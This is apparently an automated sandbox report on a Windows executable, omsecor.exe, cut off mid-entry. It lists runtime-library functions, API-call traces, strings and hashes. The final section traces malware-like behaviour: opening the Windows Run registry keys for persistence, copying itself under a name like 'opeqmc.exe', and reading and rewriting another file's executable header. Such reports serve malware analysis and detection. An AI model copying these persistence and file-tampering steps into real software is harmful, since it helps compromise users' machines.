FlsSetValue, xrefs: 00401EAD
FlsAlloc, xrefs: 00401E98
FlsFree, xrefs: 00401EBA
KERNEL32.DLL, xrefs: 00401E77
FlsGetValue, xrefs: 00401EA0

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction ID: 2b6f412a48510a2ea5e28321b190ff4220801d9e6bfc04da0c4d4af9d52f3434
Opcode Fuzzy Hash: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction Fuzzy Hash: AF318F319483029BE7146F75AF05B063AA5AF40355712053FF861B22F5EF7C8490EB5E

Function 00404854 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 164
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00404881
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040489D

Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048BA

Part of subcall function 00401AAA: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
Part of subcall function 00401AAA: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048CF
__invoke_watson.LIBCMT ref: 004048F0

Part of subcall function 00404121: _memset.LIBCMT ref: 004041AD
Part of subcall function 00404121: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004041CB
Part of subcall function 00404121: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004041D5
Part of subcall function 00404121: UnhandledExceptionFilter.KERNEL32(0040B078,?,?,00000000), ref: 004041DF
Part of subcall function 00404121: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004041FA
Part of subcall function 00404121: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00404201

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401B21: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
Part of subcall function 00401B21: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00404904
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040491C
__invoke_watson.LIBCMT ref: 0040498F

Strings

GetActiveWindow, xrefs: 004048AD
GetProcessWindowStation, xrefs: 00404916
GetUserObjectInformationA, xrefs: 004048FE
USER32.DLL, xrefs: 0040487C
GetLastActivePopup, xrefs: 004048C2
MessageBoxA, xrefs: 00404897

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2940365033-232180764
Opcode ID: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction ID: 59fbdf2cbb2ff75c7ae2a14c3bd4fe5a66861bdf874bec260bfce3d1cd22fe51
Opcode Fuzzy Hash: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction Fuzzy Hash: FD4163F1D00205AEDF10AFB59D86A6F7BA4EB94305B14083FE505F22E0DB7D9944CA5E

Function 00401C07 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
__lock.LIBCMT ref: 00401C86
___addlocaleref.LIBCMT ref: 00401CA5

Strings

EncodePointer, xrefs: 00401C3E
DecodePointer, xrefs: 00401C54
KERNEL32.DLL, xrefs: 00401C13

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-2843748187
Opcode ID: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction ID: 560e36331183b230e08dea58ace58335192f7a528c6e8c7e040251058e5fa637
Opcode Fuzzy Hash: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction Fuzzy Hash: 32113D719847019EE7209F76CA45B5ABBE4AF04348F10853FE899B62E1CB7C99418F19

Function 00402C5B Relevance: 13.7, APIs: 9, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00402C70
__calloc_crt.LIBCMT ref: 00402C83

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

__calloc_crt.LIBCMT ref: 00402D06
GetFileType.KERNEL32(00000038), ref: 00402D86
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402DBA
GetStdHandle.KERNEL32(-000000F6), ref: 00402E10
GetFileType.KERNEL32(00000000), ref: 00402E22
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402E50
SetHandleCount.KERNEL32 ref: 00402E7A

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction ID: b2392c38ea11d8206f0d28861f948c6360aed0bed67f1e2b59f3cb23873ff797
Opcode Fuzzy Hash: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction Fuzzy Hash: 366136715447518ED7248B38CB4C7167BA0EF02324F29437BD9A5BB2E1D7B89806CB9D

Function 00403BD3 Relevance: 10.7, APIs: 7, Instructions: 158
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getSystemCP.LIBCMT ref: 00403BEC

Part of subcall function 00403B59: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403B66
Part of subcall function 00403B59: GetOEMCP.KERNEL32(00000000,?,00402A85,?,?,00000001), ref: 00403B80

setSBCS.LIBCMT ref: 00403BFE

Part of subcall function 00403854: _memset.LIBCMT ref: 00403867

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409430), ref: 00403C44
GetCPInfo.KERNEL32(00000000,00403F56), ref: 00403C57
_memset.LIBCMT ref: 00403C6F
setSBUpLow.LIBCMT ref: 00403D42

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 2658552758-0
Opcode ID: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction ID: 0e9026f4e105130f7015617c44e62dc713e6d3fa9c6682f74f6de7838a23a284
Opcode Fuzzy Hash: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction Fuzzy Hash: 875108319042558BDB159F25C8442BABFB8EF05306F14847FE881FF282C63CCA46DB99

Function 00401AAA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

Strings

EncodePointer, xrefs: 00401AF8
KERNEL32.DLL, xrefs: 00401ADE

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction ID: 2de7d8fd10128b17cfc71597f2b569db04ade18300f5c4710948ea3b5a4a2571
Opcode Fuzzy Hash: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction Fuzzy Hash: 68F06D307017169BD7219F25DE04A5A3AB8AF80790B16417AB844F62F4EF38DC029A6D

Function 00401B21 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

Strings

DecodePointer, xrefs: 00401B6F
KERNEL32.DLL, xrefs: 00401B55

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction ID: 1a7e216e592b3cd04d2002f0154b272c3d781bc2d345389bf2442321812c8d59
Opcode Fuzzy Hash: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction Fuzzy Hash: 96F062305013129BC7215F24DE44E6A3AB89F407947154136F854F22F0EF34DC018A6D

Function 00407B29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction ID: 7291aa48b631972549e6df949c7a5fbc9f7bec4cf14f78cf3737268845182a7c
Opcode Fuzzy Hash: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction Fuzzy Hash: C3F02E36D01705A7E720A7B4CE49B6D3134AB88765F35013BF5017B2E2CABC4D06A62D

Function 00421170 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction ID: 38895570f31eb67b982826470c9dd1e6c230b0faa58df9c9f10e023fb9096192
Opcode Fuzzy Hash: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction Fuzzy Hash: 4DF0E936E48301D7E720A7A09D49B2D3134AB44765F34053BE001BB2E1CDBC4942661F

Function 00403F64 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00403F82

Part of subcall function 004034EE: __mtinitlocknum.LIBCMT ref: 00403502
Part of subcall function 004034EE: __amsg_exit.LIBCMT ref: 0040350E
Part of subcall function 004034EE: RtlEnterCriticalSection.NTDLL(?), ref: 00403516

___sbh_find_block.LIBCMT ref: 00403F8D
___sbh_free_block.LIBCMT ref: 00403F9C
HeapFree.KERNEL32(00000000,?,00409450,0000000C,004034CF,00000000,004093D0,0000000C,00403507,?,?,?,00406798,00000004,00409530,0000000C), ref: 00403FCC
GetLastError.KERNEL32(?,00406798,00000004,00409530,0000000C,00404045,?,?,00000000,00000000,00000000,00401CEF,00000001,00000214), ref: 00403FDD

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction ID: 478c35e85f2b107ed22a8aba67e00a0e018390ca299f0d6e226d856ee505d4b6
Opcode Fuzzy Hash: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction Fuzzy Hash: AB012C71D05602AADB207FB29A0AB5E7A78DF0076AF20413FF404B61D1CB7C8A449A9D

Function 00403A33 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00401D3D: __amsg_exit.LIBCMT ref: 00401D4B

__amsg_exit.LIBCMT ref: 00403A5F
__lock.LIBCMT ref: 00403A6F
InterlockedDecrement.KERNEL32(?), ref: 00403A8C
InterlockedIncrement.KERNEL32(02011588), ref: 00403AB7

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID:
API String ID: 4129207761-0
Opcode ID: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction ID: 3b707b5fd0894213fb8e8695ce472a26b52a1803b1b57e4fe7db1faaf9775e12
Opcode Fuzzy Hash: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction Fuzzy Hash: 3A018E32E00B119BD611AF6A990974A7B64BB05716F05403BE890773D1C73CAB51DFDE

Function 00401CC6 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00404281,00402202,00000000,00402EFA,FFFFFFFE,?,?,?,?,00402F66), ref: 00401CC8

Part of subcall function 00401B98: TlsGetValue.KERNEL32(00000000,00401CDB,?,?,?,00402F66), ref: 00401B9F
Part of subcall function 00401B98: TlsSetValue.KERNEL32(00000000,?,?,00402F66), ref: 00401BC0

__calloc_crt.LIBCMT ref: 00401CEA

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401C07: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
Part of subcall function 00401C07: InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
Part of subcall function 00401C07: __lock.LIBCMT ref: 00401C86
Part of subcall function 00401C07: ___addlocaleref.LIBCMT ref: 00401CA5

GetCurrentThreadId.KERNEL32 ref: 00401D1A
SetLastError.KERNEL32(00000000,?,?,?,00402F66), ref: 00401D32

Memory Dump Source

Source File: 00000010.00000002.1905340709.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.1905295375.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905340709.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.1905412672.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction ID: d2849ffa799b97934cc6d9bfafbcb639600e9549b280b5eba9c9c239b681eae2
Opcode Fuzzy Hash: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction Fuzzy Hash: 2EF0FF325447229AD6363BB96D0AA8F3AA49F41761711093FF580B61F0CF3CD80296AD

Analysis Process: omsecor.exePID: 396, Parent PID: 8132COMMON

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

/nomove, xrefs: 0040B4D9
opeqmc.exe, xrefs: 0040B36E
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
IueiOod, xrefs: 0040B3A8

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: a37a2c0829b51652c0125789b7ef107c293a8625708184dc08050438480bf6fc
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: a37a2c0829b51652c0125789b7ef107c293a8625708184dc08050438480bf6fc
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNELBASE(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNELBASE(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNELBASE(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

